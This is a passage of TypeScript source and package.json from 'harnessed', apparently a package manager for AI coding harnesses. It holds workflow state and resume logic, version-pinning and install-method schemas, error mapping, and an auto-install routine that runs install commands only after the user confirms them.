writeCurrentWorkflow on known-version drift. */\nexport async function readCurrentWorkflow(): Promise<CurrentWorkflowV1Type | null> {\n let raw: string\n try {\n raw = await readFile(statePath(), 'utf8')\n } catch {\n return null\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch {\n return null\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n return branchOnSchemaVersion(v, {\n v1: () => (Value.Check(CurrentWorkflowV1, parsed) ? (parsed as CurrentWorkflowV1Type) : null),\n unknown: () => null,\n })\n}\n\n/** Write state with self-validate (loadPhases.ts pattern); creates parent dir;\n * acquires dir-level lock (D-05+D-08) before writeFile (R10.2 concurrent safety). */\nexport async function writeCurrentWorkflow(s: CurrentWorkflowV1Type): Promise<void> {\n if (!Value.Check(CurrentWorkflowV1, s)) {\n const errs = [...Value.Errors(CurrentWorkflowV1, s)].map((e) => e.message).join('; ')\n throw new WorkflowStateError(`current-workflow schema validation failed: ${errs}`)\n }\n const path = statePath()\n await mkdir(dirname(path), { recursive: true })\n await withLock(async () => {\n await writeFile(path, JSON.stringify(s, null, 2), 'utf8')\n })\n}\n\n/** Transition 1/3 — start a new workflow for `phase`. */\nexport async function activate(phase: string, checkpointPath: string | null = null): Promise<void> {\n await writeCurrentWorkflow({\n schemaVersion: SCHEMA_VERSIONS.currentWorkflow,\n phase,\n status: 'active',\n last_checkpoint_path: checkpointPath,\n started_at: new Date().toISOString(),\n })\n}\n\n/** Transition 2/3 — pause active workflow; preserves started_at. */\nexport async function pause(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'paused', paused_at: new Date().toISOString() })\n}\n\n/** Transition 3/3 — complete active/paused workflow; preserves timestamps. */\nexport async function complete(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'complete', completed_at: new Date().toISOString() })\n}\n","// src/manifest/schema/known-good.v1.ts — Phase 3.3 W1 T1.3 (D-03 YAML manifest 13th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts) + sister T1.2 aliases.v1.ts shape.\n// YAML manifest rejected JSON (项目未用 npm-lock + yaml convention) + Embed-in-\n// manifest (跨 manifest agg 难, R7.6 \"harnessed 版本冻结一组\" scope mismatch).\n// Manifest-domain colocation: src/manifest/schema/. install_method 字符串非 enum\n// (Karpathy YAGNI 防 schema drift 加耦 — Phase 2.X 6 install method 可能继续扩;\n// sister spec.ts InstallType union 仅作 doc reference 不强 link).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const PinnedUpstream = Type.Object(\n {\n name: Type.String({ minLength: 1 }),\n version: Type.String({ minLength: 1 }),\n install_method: Type.String({ minLength: 1 }), // npm-cli / mcp-stdio-add / etc per Phase 2.X\n },\n { additionalProperties: false },\n)\n\nexport const KnownGoodV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.knownGood), // 'harnessed.known-good.v1'\n harnessed_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n e2e_verified_at: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO date pattern\n upstreams: Type.Array(PinnedUpstream),\n },\n { additionalProperties: false },\n)\n\nexport type PinnedUpstreamType = Static<typeof PinnedUpstream>\nexport type KnownGoodV1Type = Static<typeof KnownGoodV1>\n","// src/manifest/knownGood.ts — Phase 3.3 W1 T1.5 — D-03 YAML manifest consumer.\n// Sister src/manifest/aliases.ts (fail-soft read + Value.Check + memoize).\n// Path: versions/<harnessed-ver>-known-good.yaml (sister manifests/tools/\n// <name>.yaml install.ts L66 path 范式). Lazy read per-harnessed-ver\n// (Karpathy YAGNI per planner CONTEXT Discretion lock — only pay cost when\n// --known-good flag triggers consume).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { KnownGoodV1, type KnownGoodV1Type } from './schema/known-good.v1.js'\n\nconst versionsDir = (): string => join(process.cwd(), 'versions')\n\nconst _cache = new Map<string, KnownGoodV1Type | null>()\n\n/** Load versions/<harnessedVer>-known-good.yaml; memoized per harnessedVer.\n * Returns null if file absent. Throws Karpathy fail-loud on schema invalid. */\nexport function loadKnownGood(harnessedVer: string): KnownGoodV1Type | null {\n if (_cache.has(harnessedVer)) return _cache.get(harnessedVer) ?? null\n const path = join(versionsDir(), `${harnessedVer}-known-good.yaml`)\n if (!existsSync(path)) {\n _cache.set(harnessedVer, null)\n return null\n }\n const raw = readFileSync(path, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(KnownGoodV1, parsed)) {\n const errs = [...Value.Errors(KnownGoodV1, parsed)].slice(0, 3)\n throw new Error(\n `${path} schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cache.set(harnessedVer, parsed)\n return parsed\n}\n\n/** Get pinned version for an upstream name + harnessed version. */\nexport function getPinnedVersion(upstreamName: string, harnessedVer: string): string | null {\n const kg = loadKnownGood(harnessedVer)\n if (!kg) return null\n const entry = kg.upstreams.find((u) => u.name === upstreamName)\n return entry?.version ?? null\n}\n","// Phase 3.1 W4 T4.3 — resume logic (D-03 RELOAD locked: stdout output, no spawn).\n// Sister: src/cli/doctor.ts --json flag + src/workflow/loadPhases.ts TypeBox validate.\n// CD-5 single 兼容门: branchOnSchemaVersion delegates unknown-version graceful degrade.\n// § 1.3 cwd guard: warn if checkpoint.cwd !== process.cwd() (SDK session resume may fail).\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { branchOnSchemaVersion } from '../types/schemaVersion.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\nimport { readCurrentWorkflow } from './state.js'\n\nexport type ResumeResult =\n | { status: 'no-paused-phase'; error: string }\n | { status: 'corrupt'; error: string; path: string }\n | { status: 'ok'; checkpoint: CheckpointV1Type; cwdWarn?: string; resumeHint: string }\n\nexport async function runResume(): Promise<ResumeResult> {\n const current = await readCurrentWorkflow()\n if (!current) {\n return {\n status: 'no-paused-phase',\n error: 'no current-workflow.json found under <harnessed-root>',\n }\n }\n if (current.status !== 'paused') {\n return {\n status: 'no-paused-phase',\n error: `workflow status is '${current.status}', not 'paused'`,\n }\n }\n if (!current.last_checkpoint_path) {\n return { status: 'corrupt', error: 'last_checkpoint_path missing', path: '' }\n }\n const path = current.last_checkpoint_path\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (e) {\n return { status: 'corrupt', error: `checkpoint missing: ${(e as Error).message}`, path }\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch (e) {\n return {\n status: 'corrupt',\n error: `checkpoint JSON parse failed: ${(e as Error).message}`,\n path,\n }\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n const validated = branchOnSchemaVersion<CheckpointV1Type | null>(v, {\n v1: () => (Value.Check(CheckpointV1, parsed) ? (parsed as CheckpointV1Type) : null),\n unknown: () => null,\n })\n if (!validated) {\n const errs = [...Value.Errors(CheckpointV1, parsed)].map((e) => e.message).join('; ')\n return { status: 'corrupt', error: `checkpoint schema validation failed: ${errs}`, path }\n }\n const cwd = process.cwd()\n const cwdWarn =\n validated.cwd !== cwd\n ? `⚠ checkpoint cwd '${validated.cwd}' ≠ current cwd '${cwd}' — SDK session resume may fail (§ 1.3); fresh-session fallback`\n : undefined\n const sidHint = validated.session_id\n ? ` (session_id: ${validated.session_id} — SDK will redirect to original session)`\n : ' (fresh session — context reloaded from checkpoint)'\n const resumeHint = `→ in Claude Code: /gsd-execute-phase ${validated.phase}${sidHint}`\n return { status: 'ok', checkpoint: validated, ...(cwdWarn ? { cwdWarn } : {}), resumeHint }\n}\n","// v3.9.0 P4 — Plugin auto-install dispatcher invoked at end of `harnessed setup`.\n// v3.9.1 — Replaced hardcoded `claude plugin install <name>` with structured\n// CheckResult.install_commands consumed verbatim (4 install patterns in the\n// wild: official marketplace `claude plugin install` / 3rd-party marketplace\n// 2-step `marketplace add + plugin install` / `claude mcp add --transport ...`\n// per-server transport / `npx skills@latest add owner/repo` skill CLI).\n//\n// Reverses v3.6.0 Phase 2 SPEC NO-auto-install decision per v3.9.0 ship: instead\n// of printing `fix:` hints for user to copy-paste, prompt user with Clack\n// confirm() per missing check, then spawn each command in install_commands\n// sequentially; abort chain on first non-zero exit.\n//\n// Default: opt-in (user is prompted unless --non-interactive / --no-auto-install\n// / non-TTY).\n// Escape hatches:\n// --non-interactive → skip prompts, restore v3.8.x advisory-only behavior\n// --no-auto-install → opt out explicitly even in interactive mode\n// non-TTY stdin/out → auto-detect, fall back to advisory\n\nimport { spawnSync } from 'node:child_process'\nimport * as p from '@clack/prompts'\nimport { CHECKS, type CheckResult } from './doctor-registry.js'\n\nexport interface AutoInstallOpts {\n /** Skip all interactive prompts (CI / scripts). When true, falls back to\n * advisory-only behavior — equivalent to v3.8.x setup output. */\n nonInteractive: boolean\n /** Master opt-out flag — even in interactive mode, skip all install attempts. */\n autoInstall: boolean\n}\n\nexport interface AutoInstallResult {\n installed: string[]\n skipped: string[]\n failed: { name: string; reason: string }[]\n}\n\n/** Run all doctor checks, prompt user for each installable warn entry, spawn\n * each command in install_commands sequentially on consent. Returns counts\n * for setup summary line. */\nexport async function runAutoInstall(opts: AutoInstallOpts): Promise<AutoInstallResult> {\n const out: AutoInstallResult = { installed: [], skipped: [], failed: [] }\n\n if (!opts.autoInstall) {\n return out // explicit opt-out — short-circuit\n }\n\n // Re-run doctor checks (mostly cached I/O — file reads + spawnSync('where')).\n const results: CheckResult[] = await Promise.all(CHECKS.map((c) => c()))\n\n // Filter: warn-status entries with non-empty install_commands array.\n const installables = results.filter(\n (r): r is CheckResult & { install_commands: readonly string[] } =>\n r.status === 'warn' && Array.isArray(r.install_commands) && r.install_commands.length > 0,\n )\n\n if (installables.length === 0) {\n return out\n }\n\n console.log(\n `\\n💡 ${installables.length} optional check(s) installable — harnessed can run install commands now:`,\n )\n\n for (const check of installables) {\n const commands = check.install_commands\n\n if (opts.nonInteractive) {\n // CI mode — skip prompt, leave advisory hint visible from earlier doctor output.\n out.skipped.push(check.name)\n continue\n }\n\n // Show the full command list to the user BEFORE the confirm — informed consent.\n const preview = commands.map((c) => ` $ ${c}`).join('\\n')\n console.log(`\\n ${check.name}:`)\n console.log(preview)\n\n const ans = await p.confirm({\n message: `Run ${commands.length} install command(s) for \"${check.name}\"?`,\n initialValue: true,\n })\n if (p.isCancel(ans) || ans !== true) {\n out.skipped.push(check.name)\n continue\n }\n\n // Run commands sequentially; abort chain on first non-zero exit.\n let chainOk = true\n for (const cmd of commands) {\n const tokens = cmd.split(/\\s+/).filter((t) => t.length > 0)\n const exe = tokens[0]\n const args = tokens.slice(1)\n if (exe === undefined) {\n // Defensive — should never happen given install_commands non-empty entries.\n out.failed.push({ name: check.name, reason: `empty command in install_commands` })\n chainOk = false\n break\n }\n const r = spawnSync(exe, args, {\n encoding: 'utf8',\n stdio: 'inherit',\n // Windows needs shell for `.cmd` / `.bat` exes (npx.cmd / claude.cmd\n // shims); Unix is fine either way. Pass-through to OS shell handles\n // PATH resolution + extension lookup.\n shell: true,\n })\n if (r.status !== 0) {\n const reason =\n r.error !== undefined\n ? `spawn error: ${r.error.message}`\n : `exit code ${r.status ?? '<unknown>'} on \\`${cmd}\\``\n out.failed.push({ name: check.name, reason })\n console.error(` ✗ failed ${check.name} — ${reason}`)\n chainOk = false\n break\n }\n }\n if (chainOk) {\n out.installed.push(check.name)\n console.log(` ✓ installed ${check.name}`)\n }\n }\n\n // Summary line for setup output.\n console.log(\n `\\nAuto-install summary: ${out.installed.length} installed / ${out.skipped.length} skipped / ${out.failed.length} failed`,\n )\n\n return out\n}\n","{\n \"name\": \"harnessed\",\n \"version\": \"3.9.3\",\n \"description\": \"AI coding harness package manager + composition orchestrator\",\n \"type\": \"module\",\n \"license\": \"Apache-2.0\",\n \"author\": \"easyinplay\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/easyinplay/harnessed.git\"\n },\n \"homepage\": \"https://github.com/easyinplay/harnessed#readme\",\n \"bugs\": \"https://github.com/easyinplay/harnessed/issues\",\n \"keywords\": [\n \"claude-code\",\n \"ai-harness\",\n \"package-manager\",\n \"composition\",\n \"skill-pack\",\n \"mcp\",\n \"orchestrator\"\n ],\n \"engines\": {\n \"node\": \">=22.0.0\"\n },\n \"packageManager\": \"pnpm@10.12.0\",\n \"bin\": {\n \"harnessed\": \"./dist/cli.mjs\"\n },\n \"main\": \"./dist/index.mjs\",\n \"types\": \"./dist/index.d.ts\",\n \"exports\": {\n \".\": {\n \"types\": \"./dist/index.d.ts\",\n \"import\": \"./dist/index.mjs\",\n \"default\": \"./dist/index.mjs\"\n },\n \"./schemas\": {\n \"types\": \"./dist/schemas/index.d.ts\",\n \"import\": \"./dist/schemas/index.mjs\"\n },\n \"./package.json\": \"./package.json\"\n },\n \"files\": [\n \"dist\",\n \"manifests\",\n \"workflows\",\n \"routing\",\n \"config-templates\",\n \"schemas\",\n \"README.md\",\n \"LICENSE\",\n \"NOTICE\",\n \"THIRD-PARTY-NOTICES.md\"\n ],\n \"scripts\": {\n \"dev\": \"tsup --watch\",\n \"build\": \"tsc --noEmit && tsup\",\n \"build:schema\": \"node ./scripts/build-schema.mjs\",\n \"validate:schema\": \"node ./scripts/validate-schema.mjs\",\n \"typecheck\": \"tsc --noEmit\",\n \"test\": \"vitest run --passWithNoTests\",\n \"test:watch\": \"vitest\",\n \"test:coverage\": \"vitest run --coverage --passWithNoTests\",\n \"bench\": \"vitest bench --run\",\n \"lint\": \"biome check .\",\n \"lint:fix\": \"biome check --write .\",\n \"format\": \"biome format --write .\"\n },\n \"dependencies\": {\n \"@anthropic-ai/claude-agent-sdk\": \"0.3.142\",\n \"@clack/prompts\": \"^0.10.1\",\n \"@sinclair/typebox\": \"^0.34.49\",\n \"ajv\": \"^8.20.0\",\n \"ajv-errors\": \"^3.0.0\",\n \"ajv-formats\": \"^3.0.1\",\n \"commander\": \"^13.0.0\",\n \"diff\": \"^9.0.0\",\n \"expr-eval\": \"^2.0.2\",\n \"picocolors\": \"^1.1.1\",\n \"proper-lockfile\": \"^4.1.2\",\n \"yaml\": \"^2.9.0\"\n },\n \"devDependencies\": {\n \"@biomejs/biome\": \"^2.0.0\",\n \"@types/node\": \"^22.10.0\",\n \"@types/proper-lockfile\": \"^4.1.4\",\n \"@vitest/coverage-v8\": \"^4.0.0\",\n \"tsup\": \"^8.3.0\",\n \"typescript\": \"^5.6.0\",\n \"vitest\": \"^4.0.0\"\n },\n \"pnpm\": {\n \"onlyBuiltDependencies\": [\n \"esbuild\"\n ]\n }\n}\n","// Friendly error mapping per ADR 0001 + GA-1 § validator entry.\n// Translates Ajv `ErrorObject[]` and yaml parse errors into a uniform\n// `ValidationError` shape with path + keyword + line/column.\n// T4.3 adds yaml LineCounter + doc.getIn() for precise source location.\n\nimport type { ErrorObject } from 'ajv'\nimport type { Document, LineCounter, Node } from 'yaml'\n\nexport interface ValidationError {\n file: string\n path: string\n message: string\n line: number | null\n column: number | null\n keyword: string\n}\n\n/**\n * Translate a JSON Pointer instancePath (\"/spec/install/method\") into the\n * key-path array yaml@2 expects (\"spec\", \"install\", \"method\"). Numeric\n * segments are coerced for sequence indexing.\n */\nfunction instancePathToKeyPath(instancePath: string): Array<string | number> {\n if (!instancePath || instancePath === '/') return []\n return instancePath\n .split('/')\n .filter(Boolean)\n .map((seg) => {\n const n = Number(seg)\n return Number.isInteger(n) && String(n) === seg ? n : seg\n })\n}\n\n/**\n * Resolve `instancePath` to a yaml node by walking the parsed Document, then\n * convert the node's start offset to a 1-indexed `{ line, col }` via the\n * supplied LineCounter. Returns `{ null, null }` if the node cannot be located\n * (e.g. when validation reports a missing field, the node never existed).\n */\nfunction locateLineFromDoc(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n instancePath: string,\n): { line: number | null; column: number | null } {\n const path = instancePathToKeyPath(instancePath)\n // For empty path the document root sits at offset 0.\n let node: unknown\n if (path.length === 0) {\n node = doc.contents\n } else {\n node = doc.getIn(path, true)\n }\n\n if (!node || typeof node !== 'object') return { line: null, column: null }\n const range = (node as Node).range\n if (!range) return { line: null, column: null }\n\n const offset = range[0]\n const pos = lineCounter.linePos(offset)\n return { line: pos.line, column: pos.col }\n}\n\n/**\n * Map an Ajv error to ValidationError. When `doc` + `lineCounter` are supplied,\n * line/column are populated from the yaml CST.\n */\nexport function ajvErrorToFriendly(\n err: ErrorObject,\n file: string,\n doc?: Document.Parsed,\n lineCounter?: LineCounter,\n): ValidationError {\n let path = err.instancePath || '/'\n const params = err.params as Record<string, unknown> | undefined\n if (\n err.keyword === 'additionalProperties' &&\n params &&\n typeof params.additionalProperty === 'string'\n ) {\n path = `${path}/${params.additionalProperty}`\n } else if (err.keyword === 'required' && params && typeof params.missingProperty === 'string') {\n path = `${path}/${params.missingProperty}`\n }\n\n let line: number | null = null\n let column: number | null = null\n if (doc && lineCounter) {\n // For required-field errors the missing field has no node; resolve to the\n // parent path instead so the user is pointed at the parent block.\n const lookupPath = err.keyword === 'required' ? err.instancePath || '/' : path\n const loc = locateLineFromDoc(doc, lineCounter, lookupPath)\n line = loc.line\n column = loc.column\n }\n\n return {\n file,\n path,\n message: err.message ?? 'unknown error',\n line,\n column,\n keyword: err.keyword,\n }\n}\n\nexport interface YamlParseLike {\n message: string\n linePos?: ReadonlyArray<{ line: number; col: number }>\n}\n\nexport function yamlParseErrorToFriendly(err: YamlParseLike, file: string): ValidationError {\n return {\n file,\n path: '/',\n message: err.message,\n line: err.linePos?.[0]?.line ?? null,\n column: err.linePos?.[0]?.col ?? null,\n keyword: 'yaml-parse',\n }\n}\n","// Metadata sub-schema per ADR 0001 § Top-level structure.\n// Fields: apiVersion (Literal harnessed/v1), kind (Literal Manifest),\n// metadata.{name, display_name?, description, upstream{...}}.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const ApiVersion = Type.Literal('harnessed/v1')\nexport const Kind = Type.Literal('Manifest')\n\n// SPDX whitelist per ADR 0001 line 51.\n// ADR 0010 errata — license whitelist extension (D-03/D-05). `MIT-0` (MIT No\n// Attribution, SPDX-registered) added for baoyu-skills; `anthropics-official`\n// carve-out added for anthropics/skills monorepo sub-skills (frontend-design /\n// document-skills / webapp-testing) which have no per-skill LICENSE file.\nconst SpdxLicense = Type.Union([\n Type.Literal('MIT'),\n Type.Literal('Apache-2.0'),\n Type.Literal('BSD-3-Clause'),\n Type.Literal('ISC'),\n Type.Literal('0BSD'),\n Type.Literal('MIT-0'),\n Type.Literal('anthropics-official'),\n])\n\n// ADR 0010 errata — license provenance audit field (D-04). Records where the\n// license info was sourced from so it can be mechanically audited. Optional —\n// additive only, A7' 8-pillar safe (no existing manifest broken).\nconst LicenseSource = Type.Union([\n Type.Literal('README'),\n Type.Literal('registry'),\n Type.Literal('none'),\n Type.Literal('anthropics-official'),\n])\n\nconst Upstream = Type.Object(\n {\n source: Type.String({ minLength: 1 }),\n homepage: Type.String({ format: 'uri' }),\n repository: Type.String({ format: 'uri' }),\n license: SpdxLicense,\n license_source: Type.Optional(LicenseSource),\n notice: Type.String({ minLength: 1, maxLength: 500 }),\n },\n { additionalProperties: false },\n)\n\nexport const MetadataSchema = Type.Object(\n {\n name: Type.String({ pattern: '^[a-z0-9][a-z0-9-]*$', minLength: 1 }),\n display_name: Type.Optional(Type.String()),\n description: Type.String({ minLength: 1, maxLength: 120 }),\n upstream: Upstream,\n },\n { additionalProperties: false },\n)\n","// install.method = cc-hook-add per ADR 0001 type×method matrix + Phase 2.4 W3 T3.1 (D-04 § 3.1).\n//\n// IMPL NOTE (Phase 2.4 W3 / R2.4.4): Claude Code SessionStart / UserPromptSubmit /\n// PreToolUse / PostToolUse hooks are configured in ~/.claude/settings.json under\n// `hooks.<event>[].{matcher, command}` shape. This install method lets a manifest\n// register a hook entry idempotently. The hook_command is the bash invocation the\n// user wants run on that lifecycle event (e.g. `node scripts/dashboard.mjs --no-open`\n// to auto-spawn the dashboard on session start).\n//\n// Sister: npxSkillInstaller schema (~17L) — same minimal TypeBox shape, no exotic\n// fields. `idempotent_check` reused from the 6 sister install methods (preflight\n// invariant per src/installers/lib/preflight.ts contract).\n\nimport { Type } from '@sinclair/typebox'\n\nconst HookEvent = Type.Union([\n Type.Literal('SessionStart'),\n Type.Literal('UserPromptSubmit'),\n Type.Literal('PreToolUse'),\n Type.Literal('PostToolUse'),\n])\n\nexport const CcHookAdd = Type.Object(\n {\n method: Type.Literal('cc-hook-add'),\n cmd: Type.String({ minLength: 1 }), // audit-trail (the bash invocation registered)\n // cwd/env required by lib/spawn.ts discriminated-union access (sister 6 method\n // shape parity — even though cc-hook-add does not spawn, generic spawn helper\n // expects these fields on the install union).\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n hook_event: HookEvent,\n hook_matcher: Type.Optional(Type.String()),\n hook_command: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = cc-plugin-marketplace per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n//\n// Phase 1.2 ADR 0005 errata — `marketplace_source` optional field for\n// third-party marketplaces (e.g. OthmanAdi/planning-with-files which is NOT\n// in claude-plugins-official). v0.1 only `source: github`. Official upstream\n// can omit; phase 2.1 cc-plugin-marketplace installer will consume this\n// field structurally instead of parsing the cmd string.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\nconst REPO_PATTERN = '^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$'\n\nexport const CcPluginMarketplace = Type.Object(\n {\n method: Type.Literal('cc-plugin-marketplace'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n // ADR 0005 — third-party marketplace structured metadata (optional).\n marketplace_source: Type.Optional(\n Type.Object(\n {\n source: Type.Literal('github'),\n repo: Type.String({ pattern: REPO_PATTERN, minLength: 3 }),\n },\n { additionalProperties: false },\n ),\n ),\n },\n { additionalProperties: false },\n)\n","// install.method = git-clone-with-setup per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\n\nexport const GitCloneWithSetup = Type.Object(\n {\n method: Type.Literal('git-clone-with-setup'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-http-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpHttpAdd = Type.Object(\n {\n method: Type.Literal('mcp-http-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-stdio-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n// Note: cmd should invoke `claude mcp add --scope project ...` (R3.2),\n// but schema only validates structure — actual cmd template is per-manifest.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpStdioAdd = Type.Object(\n {\n method: Type.Literal('mcp-stdio-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npm-cli per ADR 0001 type×method matrix (cli-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpmCli = Type.Object(\n {\n method: Type.Literal('npm-cli'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npx-skill-installer per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpxSkillInstaller = Type.Object(\n {\n method: Type.Literal('npx-skill-installer'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method discriminated union per ADR 0001 type×method matrix.\n// 6 methods: cc-plugin-marketplace, git-clone-with-setup, npx-skill-installer,\n// npm-cli, mcp-stdio-add, mcp-http-add.\n//\n// IMPL NOTE (Rule 1 / F8): TypeBox's Type.Union(..., { discriminator })\n// emits `anyOf` + lacks `type: \"object\"` + `required: [\"method\"]`, but Ajv\n// `discriminator: true` strict mode requires `oneOf` + `type: \"object\"` +\n// `required: [\"method\"]`. We hand-build the discriminator-compatible shape\n// here so Ajv accepts it. The inferred TypeScript type still tracks via\n// Static<>; Ajv accepts hand-rolled JSON Schema objects with no DX cost.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { CcHookAdd } from './ccHookAdd.js'\nimport { CcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { GitCloneWithSetup } from './gitCloneWithSetup.js'\nimport { McpHttpAdd } from './mcpHttpAdd.js'\nimport { McpStdioAdd } from './mcpStdioAdd.js'\nimport { NpmCli } from './npmCli.js'\nimport { NpxSkillInstaller } from './npxSkillInstaller.js'\n\nconst branches = [\n CcPluginMarketplace,\n GitCloneWithSetup,\n NpxSkillInstaller,\n NpmCli,\n McpStdioAdd,\n McpHttpAdd,\n CcHookAdd,\n] as const\n\n// Hand-built JSON Schema that Ajv `discriminator: true` strict mode accepts.\n// Strict mode also requires `properties.method` declared at the discriminator\n// level (else `strictRequired` complains that `method` is required but undefined\n// at this object scope). Per-branch `additionalProperties: false` is preserved\n// (each TypeBox object already sets it).\nexport const InstallSchema = {\n type: 'object',\n discriminator: { propertyName: 'method' },\n required: ['method'],\n properties: {\n method: { type: 'string' },\n },\n oneOf: branches as unknown as object[],\n} as const\n\n// Re-derive the TS type via TypeBox's regular Union (this is unused at runtime\n// but gives downstream consumers a typed `Manifest['spec']['install']`).\nconst InstallUnion = Type.Union([...branches])\nexport type Install = Static<typeof InstallUnion>\n","// spec sub-schema per ADR 0001 § Top-level structure.\n// Fields: type, component_type, install (discriminated union), verify, uninstall,\n// upstream_health, signed_by, signature?, platforms,\n// tested_with_versions?, mutually_exclusive_with?,\n// category, install_type, decision_rules? (ADR 0007 errata — phase 1.3 加),\n// phase?, triggers? (ADR 0009 errata — phase 1.5 T5.5 加).\n//\n// IMPL NOTE — phase 1.5 T5.5 (ADR 0009 § Decision / D1.5-6 / D1.5-7 / Pattern L\n// spec-level metadata 加法 + Pattern T): adds 2 optional spec-level fields for\n// the mattpocock 23 招式 phase routing schema. `phase` is a 4-value enum\n// (discuss / plan / execute / verify) mirroring `decision_rules.yaml` v2\n// `mattpocock_phases` keys; `triggers` is an optional object carrying routing\n// hints (complexity_threshold / tdd_required / brainstorming_required). Both\n// optional — additive only, A7' 8-pillar enforcement (no existing manifest\n// broken). NOTE: this schema uses TypeBox (`@sinclair/typebox`), the project's\n// established schema lib — NOT zod; the task_plan `z.enum` / `z.object` outline\n// is a planning-doc shorthand, implemented here as `Type.Union` / `Type.Object`\n// per ADR 0001 + the no-new-deps constraint.\n\nimport { Type } from '@sinclair/typebox'\nimport { type Install, InstallSchema } from './installMethods/index.js'\n\nconst TypeEnum = Type.Union([\n Type.Literal('cc-plugin'),\n Type.Literal('cc-skill-pack'),\n Type.Literal('mcp-npm'),\n Type.Literal('cli-npm'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th type, 1:1 with 